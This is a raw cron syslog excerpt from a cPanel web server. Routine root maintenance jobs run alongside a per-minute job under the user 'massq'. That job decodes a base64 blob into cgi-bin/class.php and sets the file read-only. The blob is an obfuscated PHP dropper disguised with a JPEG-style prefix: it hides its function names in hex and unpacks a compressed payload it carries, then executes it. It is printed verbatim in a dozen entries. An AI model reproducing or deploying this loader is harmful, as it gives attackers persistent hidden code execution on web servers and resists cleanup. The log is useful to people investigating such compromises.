Sep  3 15:40:01 server CROND[22833]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 15:41:01 server CROND[23880]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:41:01 server CROND[23881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:41:01 server CROND[23882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:42:01 server CROND[24254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:42:01 server CROND[24255]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 15:42:01 server CROND[24256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:42:01 server CROND[24257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:43:01 server CROND[24641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:43:01 server CROND[24642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:43:01 server CROND[24643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:44:01 server CROND[25026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:44:01 server CROND[25027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:44:01 server CROND[25028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:45:01 server CROND[25421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:45:01 server CROND[25422]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 15:45:01 server CROND[25426]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 15:45:01 server CROND[25424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:45:01 server CROND[25428]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:45:01 server CROND[25427]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:45:01 server CROND[25425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:46:01 server CROND[26333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:46:01 server CROND[26334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:46:01 server CROND[26335]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:47:01 server CROND[26706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:47:01 server CROND[26707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:47:01 server CROND[26708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:48:01 server CROND[27058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:48:01 server CROND[27059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:48:01 server CROND[27060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:49:01 server CROND[27428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:49:01 server CROND[27429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:49:01 server CROND[27430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:50:01 server CROND[27813]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 15:50:01 server CROND[27814]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:50:01 server CROND[27815]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 15:50:01 server CROND[27817]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 15:50:01 server CROND[27819]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 15:50:01 server CROND[27816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:50:01 server CROND[27820]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:50:01 server CROND[27823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:50:01 server CROND[27818]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:51:01 server CROND[28731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:51:01 server CROND[28733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:51:01 server CROND[28732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:52:01 server CROND[29105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:52:01 server CROND[29106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:52:01 server CROND[29107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
